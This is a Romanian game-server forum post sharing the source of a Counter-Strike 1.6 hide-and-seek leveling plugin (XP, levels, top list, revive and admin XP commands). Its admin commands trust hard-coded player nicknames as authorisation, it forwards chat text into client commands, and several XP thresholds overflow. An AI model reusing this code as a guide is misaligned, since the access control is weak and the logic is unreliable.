Page 1 of 1

Pack plugine hns noi/refăcute/sau „speciale” + github

Posted: 18 Apr 2019, 17:52
by levin
sursa oficială a unor plugine(hns) - https://github.com/raiz0x/CS1.6
aceste plugine de hns am încercat să le țin private, da nu am mai reușit..greșeala mea, oricum nu prea mi-am mai bătut capul așa de mult(lipsa de interes)
dacă este ceva ce nu vă convine la ele...așa au fost cerințele pentru ele, nu le-am făcut cum am vrut eu
ofer suport în caz de probleme/buguri/erori, AICI

sistem level 152

Code: Select all

//LAST EDIT - 10/03/2019 15:31

#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <hamsandwich>
#include <nvault>
#include <cstrike>
#include <fakemeta>
#include <engine>

#pragma tabsize 0

#define TAG_CHAT "hNs.PlayArena.Ro"
#define TAG_NORMAL "hNs.PlayArena.Ro"
#define LEVELE 151

#define TASK_pentru	06091993
 
new const PLUGIN_NAME[] = "Level Mod";
new const hnsxp_version[] = "1.0";

new const LEVELS[LEVELE] =
{
        1000, // 1
        3000, // 2
        5000, // 3
        7000, // 4
        9000, // 5
        10000, // 6
        15000, // 7
        20000, // 8
        25000, // 9
        30000, // 10
        40000, // 11
        50000, // 12
        60000, // 13
        70000, // 14
        100000, // 15
        120000, // 16
        130000, // 17
        150000, // 18
        200000, // 19
        250000, // 20
        300000, // 21
        350000, // 22
        400000, // 23
        450000, // 24
        500000, // 25
        600000, // 26
        700000, // 27
        800000, // 28
        1000000, // 29
        1200000, // 30
        1300000, // 31
        1400000, // 32
        1500000, // 33
        1600000, // 34
        1700000, // 35
        1800000, // 36
        1900000, // 37
        1950000, // 38
        2000000, // 39
        2500000, // 40
        3000000, // 41
        3500000, // 42
        4000000, // 43
        5000000, // 44
        6000000, // 45
        7000000, // 46
        8000000, // 47
        9000000, // 48
        10000000, // 49
        13000000, // 50
        15000000, // 51
        18000000, // 52
        20000000, // 53
        22500000, // 54
        25000000, // 55
        27500000, // 56
        29000000, // 57
        30000000, // 58
        35000000, // 59
        40000000, // 60
        45000000, // 61
        50000000, // 62
        55000000, // 63
        60000000, // 64
        65000000, // 65
        70000000, // 66
        75000000, // 67
        85000000, // 68
        90000000, // 69
        100000000, // 70
        110000000, // 71
        220000000, // 72
        230000000, // 73
        240000000, // 74
        250000000, // 75
        260000000, // 76
        270000000, // 77
        280000000, // 78
        290000000, // 79
        300000000, // 80
        400000000, // 81
        500000000, // 82
        600000000, // 83
        700000000, // 84
        800000000, // 85
        900000000, // 86
        1000000000, // 87
        1500000000, // 88
        2000000000, // 89
        3000000000, // 90
        4000000000, // 91
        5000000000, // 92
        6000000000, // 93
        7000000000, // 94
        7500000000, // 95
        8500000000, // 96
        9099090000, // 97
        10000000000, // 98
        10000500000, // 99
        20000000000, // 100
        20000100000, // 101
        20000110000, // 102
        20000130000, // 103
        20000134000, // 104
        20000135000, // 105
        20000136000, // 106
        20000138000, // 107
        20000139000, // 108
        20000113000, // 109
        20000213000, // 110
        20000313000, // 111
        20000413000, // 112
        20000513000, // 113
        20000613000, // 114
        20000713000, // 115
        20000813000, // 116
        20000913000, // 117
        20001113000, // 118
        20002113000, // 119
        20003113000, // 120
        20004113000, // 121
        20005113000, // 122
        20006113000, // 123
        20007113000, // 124
        20008113000, // 125
        20009113000, // 126
        20011113000, // 127
        20021113000, // 128
        20031113000, // 129
        20041113000, // 130
        20051113000, // 131
        20061113000, // 132
        20071113000, // 133
        20081113000, // 134
        20091113000, // 135
        20101113000, // 136
        20201113000, // 137
        20301113000, // 138
        20401113000, // 139
        20501113000, // 140
        20601113000, // 141
        20701113000, // 142
        20901113000, // 143
        21101113000, // 144
        22101113000, // 145
        23101113000, // 146
        24101113000, // 147
        25101113000, // 148
        26101113000, // 149
        27101113000, // 150
        30000000000//151
}

new hnsxp_playerxp[33], hnsxp_playerlevel[33];
new g_hnsxp_vault
//new wxp, xlevel;

#define is_user_vip(%1)         ( get_user_flags(%1) & ADMIN_IMMUNITY )

new Data[64];
new toplevels[33];
new topnames[33][32];

enum Color
{
        NORMAL = 1, // clients scr_concolor cvar color
        YELLOW = 1, // NORMAL alias
        GREEN, // Green Color
        TEAM_COLOR, // Red, grey, blue
        GREY, // grey
        RED, // Red
        BLUE, // Blue
}

new TeamName[][] =
{
        "",
        "TERRORIST",
        "CT",  
        "SPECTATOR"
}

new bool:start_count[33],bool:revive[33],round[33],mesaj[33]=0,count [ 33 ]=0,g_iUserTime[ 33 ],speed[33]
new hnsxp_kill, tero_win, vip_enable, vip_xp,hnsxp_knife,hnsxp_grenade,hnsxp_hs,eNtry,Buffer[256],path[128];
new arg[32], amount[32],name[32],tname[32],exp,target,vaultkey[64],vaultdata[256];

public plugin_init()
{
        register_plugin(PLUGIN_NAME, hnsxp_version, "");
 
        RegisterHam(Ham_Spawn, "player", "hnsxp_spawn", 1);
        register_event( "DeathMsg","ev_DeathMsg", "a")

        register_clcmd("say /level","plvl");
        register_clcmd("say /xp","plvl");
        register_clcmd("say_team /level","plvl");
        register_clcmd("say_team /xp","plvl");
 
        register_clcmd("say /levels","plvls");
        register_clcmd("say_team /levels","plvls");
 
        register_clcmd("lvl","tlvl");
	register_clcmd( "say", "ClCmdSay" );
	register_clcmd( "say_team", "ClCmdSay" );

        g_hnsxp_vault = nvault_open("levelmod_vault");

        register_event("SendAudio", "t_win", "a", "2&%!MRAD_terwin")
 
        //xlevel = CreateMultiForward("PlayerMakeNextLevel", ET_IGNORE, FP_CELL);
        //wxp = CreateMultiForward("PlayerIsHookXp", ET_IGNORE, FP_CELL);
        register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
       
        register_clcmd("say /toplevel","sayTopLevel");
        register_clcmd("say_team /toplevel","sayTopLevel");
        register_concmd("amx_resetleveltop","concmdReset_Top");
       
        get_datadir(Data, 63);
        read_top();

	//execute forward in ele
        register_clcmd("amx_xp", "xp_cmd", -1, "amx_xp <NICK> <NUMARUL DE XP>")
        register_clcmd("amx_takexp", "takexp_cmd", -1, "amx_takexp <NICK> <NUMARUL DE XP>")
        register_clcmd("amx_level", "level_cmd", -1, "amx_level <NICK> <NUMARUL DE LEVEL>")
        register_clcmd("amx_takelevel", "takelevel_cmd", -1, "amx_takelevel <NICK> <NUMARUL DE LEVEL>")


	register_event ( "HLTV", "event_round_start", "a", "1=0", "2=0" );

	register_clcmd("say /revive","CheckNOOB")
	register_clcmd("say_team /revive","CheckNOOB")

	set_task( 1.0, "task_PTRFunction", TASK_pentru, _, _, "b", 0 );


	hnsxp_knife = register_cvar("hnsxp_knife","100");
	hnsxp_hs = register_cvar("hnsxp_hs","1800");

	hnsxp_grenade = register_cvar("hnsxp_grenade","1500");
		hnsxp_kill = register_cvar("hnsxp_kill", "1500");
		tero_win = register_cvar("hnsxp_terowin_xp","500");
		vip_enable = register_cvar("hnsxp_vip_enable","1");
		vip_xp = register_cvar("hnsxp_vip_xp","900");
}

public task_PTRFunction( )
{
	static iPlayers[ 32 ],iPlayersNum;
	get_players( iPlayers, iPlayersNum, "ch" );
	if( !iPlayersNum )	return;

	static id, i;
	for( i = 0; i < iPlayersNum; i++ )
	{
		id = iPlayers[ i ];
		g_iUserTime[ id ]++;

		if( g_iUserTime[ id ] >= 20 * 60 )
		{
			g_iUserTime[ id ] -= 20 * 60;

			hnsxp_playerxp[id]+=2000

			ColorChat( id, RED, "^x04[%s]^x01 Ai primit 2000 xp pentru ca ai jucat 20 minute pe server!",TAG_CHAT);
		}
	}
}

public CheckNOOB(id)
{
	if(is_user_alive(id))	return

	if(hnsxp_playerlevel[id]<91)
	{
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Aceasta comanda este valabila de la level 90+",TAG_CHAT)
		return
	}

	if(revive[id]&&round[id]<3&&start_count[id]&&count [ id ] > 0)
	{
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Ai folosit odata, mai ai de asteptat %i/3Rund%s",TAG_CHAT,count [ id ], count [ id ] == 1 ? "a" : "e")
		return
	}

	ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Ai fost reinviat MUTHERFUKER!",TAG_CHAT)

	revive[id]=true
	start_count [ id ]=true
	count [ id ] = 3;
	ExecuteHamB( Ham_CS_RoundRespawn, id );
}

public event_round_start ( )
{
	static iPlayers [ 32 ];
	static iPlayersNum;

	get_players ( iPlayers, iPlayersNum, "ch" );

	if ( !iPlayersNum )
		return;

	static id, i;
	for ( i = 0; i < iPlayersNum; ++i )
	{
		id = iPlayers [ i ];

		if ( start_count [ id ] )
		{
			if(++round[id]>=3)
			{
				revive[id]=true
				round[id]=0
				mesaj[id]=0
				start_count [ id ]=false
			}

		if ( count[ id ] > 0 )
		{
			count [ id ]--;
		}
		else if ( count[ id ] >= 3 )
		{
			count [ id ] = 0;
		}
		}
	}
}
 
public xp_cmd(id)
{
	get_user_name(id,name,charsmax(name))
        if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
	{
		console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
                return PLUGIN_HANDLED;
	}
       
        read_argv(1, arg, charsmax(arg))
        read_argv(2, amount, charsmax(amount))
	if(equal(arg,"")||equal(amount,""))
	{
		console_print(id,"Use: amx_xp <tinta> <xp>")
		return 1
	}
        target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
       
        exp = str_to_num(amount)

        hnsxp_playerxp[target] = exp
	//SaveData(target)
        UpdateLevel(target)

	get_user_name(target,tname,charsmax(tname))

	ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a dat lui %s %d xp",TAG_CHAT,name,tname,exp);

        return 1
}

public takexp_cmd(id)
{
	get_user_name(id,name,charsmax(name))
        if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
	{
		console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
                return PLUGIN_HANDLED;
	}
       
        read_argv(1, arg, charsmax(arg))
        read_argv(2, amount, charsmax(amount))
	if(equal(arg,"")||equal(amount,""))
	{
		console_print(id,"Use: amx_takexp <tinta> <xp>")
		return 1
	}
        target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
 
        exp = str_to_num(amount)
       
        if(!target)
        {
                return 1
        }
       
        hnsxp_playerxp[target] -= exp
        UpdateLevel(target)

	get_user_name(target,tname,charsmax(tname))

	ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a luat lui %s %d xp",TAG_CHAT,name,tname,exp);

        return 1
}

public level_cmd(id)
{
	get_user_name(id,name,charsmax(name))
        if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
	{
		console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
                return PLUGIN_HANDLED;
	}
       
        read_argv(1, arg, charsmax(arg))
        read_argv(2, amount, charsmax(amount))
	if(equal(arg,"")||equal(amount,""))
	{
		console_print(id,"Use: amx_level <tinta> <level>")
		return 1
	}
        target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
       
        exp = str_to_num(amount)
       
        if(!target)
        {
                return 1
        }
       
        hnsxp_playerlevel[target] = exp
        UpdateLevel(target)

	get_user_name(target,tname,charsmax(tname))

	ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a dat lui %s %d level",TAG_CHAT,name,tname,exp);

        return 1
}

public takelevel_cmd(id)
{
	get_user_name(id,name,charsmax(name))
        if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
	{
		console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
                return PLUGIN_HANDLED;
	}
       
        read_argv(1, arg, charsmax(arg))
        read_argv(2, amount, charsmax(amount))
	if(equal(arg,"")||equal(amount,""))
	{
		console_print(id,"Use: amx_takelevel <tinta> <level>")
		return 1
	}
        target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
       
        exp = str_to_num(amount)
       
        if(!target)
        {
                return 1
        }
       
        hnsxp_playerlevel[target] -= exp
        UpdateLevel(target)

	get_user_name(target,tname,charsmax(tname))

	ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a luat lui %s %d xp",TAG_CHAT,name,tname,exp);

        return 1
}

public concmdReset_Top(id) {
       get_user_name(id,name,charsmax(name))
        if( !equal(name,"eVoLuTiOn")) {
                       return PLUGIN_HANDLED;
        }
        formatex(path, 127, "%s/LevelTop.dat", Data);
        if( file_exists(path) ) {
                delete_file(path);
        }        

        for( new i = 0; i < 10; i++ ) {
				formatex(topnames[i], 31, "");
				toplevels[i]= 0;
        }
        save_top();
        ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 a resetat top-level!",TAG_CHAT,name);
        return PLUGIN_CONTINUE;
}
public checkandupdatetop(id, levels) {
	if(!is_user_connected(id))	return
        get_user_name(id, name, 31);
        for (new i = 0; i < 10; i++)
        {
	if( levels > toplevels[i] )
                {
                        new pos = i;        
                        while( !equal(topnames[pos],name) && pos < 10 )
                        {
                                pos++;
                        }
                       
                        for (new j = pos; j > i; j--)
                        {
                                formatex(topnames[j], 31, topnames[j-1]);
                                toplevels[j] = toplevels[j-1];
                        }
								formatex(topnames[i], 31, name);
                       
								toplevels[i]= levels;
                       
                        ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^4%s^1 a intrat pe locul ^4%i^1 in top level !",TAG_CHAT, name,(i+1));
                        if(i+1 == 1) {
                                client_cmd(0, "spk vox/doop");
                        } else {
                                client_cmd(0, "spk buttons/bell1");
                        }
                        save_top();
                        break;
                }
						else if( equal(topnames[i], name))
						break;        
        }
}
public save_top() {
        formatex(path, 127, "%s/LevelTop.dat", Data);
        if( file_exists(path) ) {
                delete_file(path);
        }
        new f = fopen(path, "at");
        for(new i = 0; i < 10; i++)
        {
                formatex(Buffer, 255, "^"%s^" ^"%d^"^n",topnames[i],toplevels[i] );
                fputs(f, Buffer);
        }
        fclose(f);
}
public read_top() {
        formatex(path, 127, "%s/LevelTop.dat", Data);
       
        new f = fopen(path, "rt" );
        new i = 0;
        while( !feof(f) && i < 10+1)
        {
                fgets(f, Buffer, 255);
                new lvls[25];
                parse(Buffer, topnames[i], 31, lvls, 24);
                toplevels[i]= str_to_num(lvls);
                i++;
        }
        fclose(f);
}
public sayTopLevel(id) {       
        static buffer[2368], namex[131], len, i;
        len = formatex(buffer, 2047, "<html><head><meta charset=UTF-8></head><body bgcolor=#FFFFFF><table width=100%% cellpadding=2 cellspacing=0 border=0>");
        len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=10%% >#<th width=45%%> Nume <th width=45%%>Level");
        for( i = 0; i < 10; i++ ) {
                if( toplevels[i] == 0) {
                        len += formatex(buffer[len], 2047-len, "<tr align=center%s><td> %d<td> %s<td> %s",((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-");
                        //i = 10
                }
                else {
                        namex = topnames[i];
                        while( containi(namex, "<") != -1 )
                                replace(namex, 129, "<", "<");
                        while( containi(namex, ">") != -1 )
                                replace(namex, 129, ">", ">");
                        len += formatex(buffer[len], 2047-len, "<tr align=center%s><td> %d<td> %s<td> %d",((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), namex,toplevels[i]);
                }
        }
        len += format(buffer[len], 2367-len, "</table>");
        len += formatex(buffer[len], 2367-len, "<tr align=bottom font-size:11px><Center><br><br><br><br>[%s] by EVO</body></body>",TAG_NORMAL);
        static strin[20];
        format(strin,33, "Top Level");
        show_motd(id, buffer, strin);
}

public ClientUserInfoChanged(id)
{
        static const namexx[] = "name"
        static szOldName[32], szNewName[32]
        pev(id, pev_netname, szOldName, charsmax(szOldName))
        if( szOldName[0] )
        {
                get_user_info(id, namexx, szNewName, charsmax(szNewName))
                if( !equal(szOldName, szNewName) )
                {
                        set_user_info(id, namexx, szOldName)
                        ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Pe acest server nu este permisa schimbarea numelui !",TAG_CHAT);
                        return FMRES_HANDLED
                }
        }
        return FMRES_IGNORED
}
 
public plugin_natives()
{
        register_native("get_user_xp","_get_user_xp");
        register_native("get_user_level","_get_user_level");
        register_native("set_user_xp","_set_user_xp");
        register_native("set_user_level","_set_user_level");
}
 
public _get_user_xp(plugin, params)
{
        return hnsxp_playerxp[get_param(1)];
}
 
public _get_user_level(plugin, params)
{
        return hnsxp_playerlevel[get_param(1)];
}
 
public _set_user_xp(plugin, value)
{
        new id = get_param(1)
 
        if(is_user_connected(id))
        {
                hnsxp_playerxp[id] = value;
                return 0
        }
 
        else
        {
                log_error(AMX_ERR_NATIVE,"User %d is not connected !",id)
                return 0
        }
        return 1
}

public _set_user_level(plugin, valuex)
{
        new id = get_param(1)

        if(is_user_connected(id))
        {
                hnsxp_playerlevel[id] = valuex;
                return 0
        }
        else
        {
                log_error(AMX_ERR_NATIVE,"User %d is not connected !",id)
                return 0
        }
        return 1
}

public hnsxp_spawn(id)
{
	if(!is_user_alive(id)||hnsxp_playerlevel[id]<=0)	return
	speed[id]=0
        if(!task_exists(id+69))	set_task(15.0, "gItem", id+69);
        UpdateLevel(id);
}
 
public gItem(id)
{
id-=69
        if(is_user_alive(id))
        {
                switch(hnsxp_playerlevel[id])
                {
                        case 1..30:
                        {
                                give_item(id, "weapon_hegrenade");
                                give_item(id, "weapon_smokegrenade");
                                set_user_health(id, get_user_health(id) + 2);
                        }

                        case 31..50:
                        {
				give_item(id, "weapon_deagle")
 eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
                                give_item(id, "weapon_smokegrenade");
                                cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
                               
                                if(eNtry)	cs_set_weapon_ammo(eNtry, 2);
                                cs_set_user_bpammo(id, CSW_DEAGLE, 0);
                               
                                cs_set_user_money(id,cs_get_user_money(id)+3)
set_user_health(id, get_user_health(id) + 3);
                        }
 
                        case 51..70:
                        {
give_item(id, "weapon_deagle")
 eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
                                give_item(id, "weapon_hegrenade");
                                give_item(id, "weapon_smokegrenade");
                                cs_set_user_bpammo(id, CSW_HEGRENADE, 2);
                                cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
                       
                                if(eNtry)	cs_set_weapon_ammo(eNtry, 2);
                                cs_set_user_bpammo(id, CSW_DEAGLE, 0);
                       
                                set_user_health(id, get_user_health(id) + 7);
                                cs_set_user_money(id,cs_get_user_money(id)+5)
                        }
               
                        case 71..90:
                        {
give_item(id, "weapon_deagle")
 eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
                                give_item(id, "weapon_hegrenade");
                                give_item(id, "weapon_smokegrenade");
                                cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
                                cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
                               
                                if(eNtry)	cs_set_weapon_ammo(eNtry, 3);

                                cs_set_user_money(id,cs_get_user_money(id)+7)
                                cs_set_user_bpammo(id, CSW_DEAGLE, 0);
                                set_user_health(id, get_user_health(id) + 10);
				speed[id]=1
				set_user_maxspeed(id,270.0)
                        }
                       
                        case 91..100:
                        {
give_item(id, "weapon_deagle")
 eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
                                give_item(id, "weapon_hegrenade");
                                give_item(id, "weapon_smokegrenade");
                                cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
                                cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
                               
                                if(eNtry)	cs_set_weapon_ammo(eNtry, 3);
                               
                                cs_set_user_bpammo(id, CSW_DEAGLE, 0);
                                set_user_health(id, get_user_health(id) + 16);
				speed[id]=2
				set_user_maxspeed(id,290.0)
                                cs_set_user_money(id,cs_get_user_money(id)+9)
set_user_gravity(id,get_cvar_float("sv_gravity")/800.0)
if(!task_exists(id+37))	set_task(30.0,"RemoveGRAV",id+37)
//revive[id]=true
ColorChat(id, TEAM_COLOR,"^1[^3%s^1]  Ai primit 400gravity pentru 30s avand level 90plus",TAG_CHAT)
                        }
 
                    case 101..152:
                        {
give_item(id, "weapon_deagle")
 eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
                                give_item(id, "weapon_hegrenade");
                                give_item(id, "weapon_smokegrenade");
                                cs_set_user_bpammo(id, CSW_HEGRENADE, 4);
                                cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
                               
                                if(eNtry)	cs_set_weapon_ammo(eNtry, 4);
                               
                                cs_set_user_bpammo(id, CSW_DEAGLE, 0);
                                set_user_health(id, get_user_health(id) + 25);
				speed[id]=3
				set_user_maxspeed(id,300.0)
                                cs_set_user_money(id,cs_get_user_money(id)+9)
set_user_gravity(id,get_cvar_float("sv_gravity")/800.0)
if(!task_exists(id+37))	set_task(60.0,"RemoveGRAV",id+37)
//revive[id]=true
ColorChat(id, TEAM_COLOR,"^1[^3%s^1] Ai primit 400gravity pentru 60s avand level 100plus",TAG_CHAT)
                        }
                }
ColorChat(id, TEAM_COLOR,"^1[^3%s^1] Ai primit ITEMELE ( GL & HF )",TAG_CHAT)
remove_task(id+69)
        }
}

public RemoveGRAV(id)
{
id-=37
set_user_gravity(id/*,get_cvar_float("sv_gravity")*/)
remove_task(id+37)
}

public client_PostThink(id)
{
	if(is_user_alive(id))
	{
		switch(speed[id])
		{
			case 1:	set_user_maxspeed(id,270.0)
			case 2:	set_user_maxspeed(id,290.0)
			case 3:	set_user_maxspeed(id,300.0)
			//default:	set_user_maxspeed(id,250.0)
		}
	}
}
 
public UpdateLevel(id)
{
	if(!is_user_connected(id))	return PLUGIN_HANDLED
        if(hnsxp_playerlevel[id] < LEVELE)
        {
		while(hnsxp_playerxp[id] >= LEVELS[hnsxp_playerlevel[id]])
		{
			//new ret;
			//ExecuteForward(xlevel, ret, id);

	//new xpx = hnsxp_playerlevel[ id ] * 10;
	//hnsxp_playerxp[id] = hnsxp_playerxp[id] + ( value + xpx );

                        hnsxp_playerlevel[id] ++
			if(task_exists(id+45))	set_task(1.5,"INFO",id+45)
			//break
		}
        }
	return PLUGIN_HANDLED
}

public INFO(id)
{
id-=45
			ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Felicitari ai trecut la nivelul %d !",TAG_CHAT,hnsxp_playerlevel[id]);
			if(hnsxp_playerlevel[id]>=91&&++mesaj[id]>=1)	ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Nivelul tau iti permite un revive 1/3Runde ( /revive )",TAG_CHAT);
			checkandupdatetop(id,hnsxp_playerlevel[id])
remove_task(id+45)
return PLUGIN_HANDLED
}

public plvl(id)
{
	if(hnsxp_playerlevel[id]<151)	ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] ^4LVL ^1: ^3%d ^1, ^4XP ^1: ^3%d ^1/ ^3%d",TAG_CHAT, hnsxp_playerlevel[id], hnsxp_playerxp[id], LEVELS[hnsxp_playerlevel[id]]);
	else	ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] ^4LVL ^1: ^3%d ^1, ^4XP ^1: ^3MAXIM ^1/ ^3MAXIM",TAG_CHAT, hnsxp_playerlevel[id]);
	return PLUGIN_HANDLED
}
 
public plvls(id)
{
        new players[32], playersnum, motd[1024], len;
       
        len = formatex(motd, charsmax(motd), "<html><head><meta charset=UTF-8></head><body bgcolor=black><center><font color=red><b>LEVEL NUME XP<br/>");
        get_players(players, playersnum,"c");
       
        for ( new i = 0 ; i < playersnum ; i++ ) {
                get_user_name(players[i], name, charsmax(name));
                len += formatex(motd[len], charsmax(motd) - len, "<br>[%d] %s: %d",hnsxp_playerlevel[players[i]], name, hnsxp_playerxp[players[i]]);
        }
       
        formatex(motd[len], charsmax(motd) - len, "</b></font></center></body></head>");
        show_motd(id, motd);
        return PLUGIN_HANDLED
}

public ClCmdSay( id )
{
	static szArgs[ 192 ];
	read_args( szArgs, sizeof ( szArgs ) -1 );

	if( !szArgs[ 0 ] )
		return 0;

	new szCommand[ 192 ];
	remove_quotes( szArgs );

	if( equal( szArgs, "/lvl", strlen( "/lvl" ) ) )
	{
		replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
		formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
		client_cmd( id, szCommand );
		return 1;
	}

	return 0;
}
public tlvl(id)
{
	new argx[32]
	read_argv(1,argx,charsmax(argx))
	if(equal(argx,""))
	{
		get_user_name(id, name, 31)
		ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^3%s ^1are nivelul ^4%d",TAG_CHAT,name, hnsxp_playerlevel[id]);
		return PLUGIN_HANDLED
	}
	else
	{
		target=cmd_target(id,argx,CMDTARGET_NO_BOTS)
		if(!target)	return 1
		get_user_name(target, name, 31)
		ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^3%s ^1are nivelul ^4%d",TAG_CHAT,name, hnsxp_playerlevel[target]);
		return PLUGIN_HANDLED
	}
	return PLUGIN_HANDLED
}

public t_win(id)
{
        new iPlayer [ 32 ], iNum;
        get_players(iPlayer, iNum, "ace", "TERRORIST")
        for ( new i = 0; i < iNum; i++ ) {
	if(is_user_vip(iPlayer [ i ]) && get_pcvar_num(vip_enable)==1)
	{
		hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(vip_xp);
		ColorChat(iPlayer [ i ], TEAM_COLOR,"^1[^3 %s^1 ] Ai primit un bonus de +%d xp pentru ca esti VIP !",TAG_CHAT,get_pcvar_num(vip_xp));
	}
                hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(tero_win);
                ColorChat(iPlayer[i], TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%i ^4XP^1 pentru ca echipa ^4TERO^1 a castigat !",TAG_CHAT,get_pcvar_num(tero_win));
                //UpdateLevel(iPlayer[i]);
                //checkandupdatetop(iPlayer[i],hnsxp_playerlevel[iPlayer[i]])
        }
}
 
public ev_DeathMsg(  )
{
	new attacker = read_data( 1 ),iVictim=read_data(2),headshot=read_data(3);

        if( !attacker || attacker == iVictim )
                return;

	new szWeapon[ 32 ];
	read_data( 4, szWeapon, charsmax( szWeapon ) );
	format( szWeapon, charsmax( szWeapon ), "weapon_%s", szWeapon );
	if( contain( szWeapon, "nade" ) >= 0 )	szWeapon = "weapon_hegrenade";
	new iWeapon = get_weaponid( szWeapon );

	new szName[ 32 ];
	get_user_name( iVictim, szName, sizeof( szName ) -1 );

	if(iWeapon==CSW_KNIFE)
	{
		if(headshot)
		{
			hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_hs);
			ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu KNIFE prin HS!", TAG_CHAT, get_pcvar_num(hnsxp_hs), szName);
		}
		else
		{
			hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_knife);
			ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu KNIFE!", TAG_CHAT, get_pcvar_num(hnsxp_knife), szName);
		}
	}
	else if(iWeapon==CSW_HEGRENADE)
	{
		hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_grenade);
		ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu HE!", TAG_CHAT, get_pcvar_num(hnsxp_grenade), szName);
	}
	else
	{
		hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_kill);
		ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s!", TAG_CHAT, get_pcvar_num(hnsxp_kill), szName);
	}

        //new ret;
        //ExecuteForward(wxp, ret, attacker);
       
        UpdateLevel(attacker);
        //UpdateLevel(iVictim);
}
 
public client_connect(id)
{
hnsxp_playerlevel[id]=0
hnsxp_playerxp[id]=0
        LoadData(id);
        //checkandupdatetop(id,hnsxp_playerlevel[id])

	revive[id]=false
	count[id]=0
	start_count[id]=false
	round[id]=0
	mesaj[id]=false
	g_iUserTime[ id ]=0
speed[id]=0

remove_task(id+69)
remove_task(id+37)
remove_task(id+45)
}

public client_disconnect(id)
{
        SaveData(id);
hnsxp_playerlevel[id]=0
hnsxp_playerxp[id]=0
        //checkandupdatetop(id,hnsxp_playerlevel[id])

	revive[id]=false
	count[id]=0
	start_count[id]=false
	round[id]=0
	mesaj[id]=false
	g_iUserTime[ id ]=0
speed[id]=0

remove_task(id+69)
remove_task(id+37)
remove_task(id+45)
}
public SaveData(id)
{
        get_user_name(id,name,charsmax(name));

        formatex(vaultkey,63,"ByEVO-%s",name);
        formatex(vaultdata,255,"%d`%d",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
        nvault_set(g_hnsxp_vault,vaultkey,vaultdata);
}
public LoadData(id)
{
        get_user_name(id,name,charsmax(name));
       
        formatex(vaultkey,63,"ByEVO-%s",name);
        formatex(vaultdata,255,"%d`%d",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
        nvault_get(g_hnsxp_vault,vaultkey,vaultdata,255);
        replace_all(vaultdata, 255, "`", " ");
       
        new playerxp[32], playerlevel[32];
        parse(vaultdata, playerxp, 31, playerlevel, 31);
       
        hnsxp_playerxp[id] = str_to_num(playerxp);
        hnsxp_playerlevel[id] = str_to_num(playerlevel);
}

ColorChat(id, Color:type, const msg[], {Float,Sql,Result,_}:...)
{
        new message[256];
 
        switch(type)
        {
                case NORMAL: // clients scr_concolor cvar color
                {
                        message[0] = 0x01;
                }
                case GREEN: // Green
                {
                        message[0] = 0x04;
                }
                default: // White, Red, Blue
                {
                        message[0] = 0x03;
                }
        }
         
        vformat(message[1], 251, msg, 4);
 
        // Make sure message is not longer than 192 character. Will crash the server.
        message[191] = '^0';
 
        new team, ColorChange, index, MSG_Type;
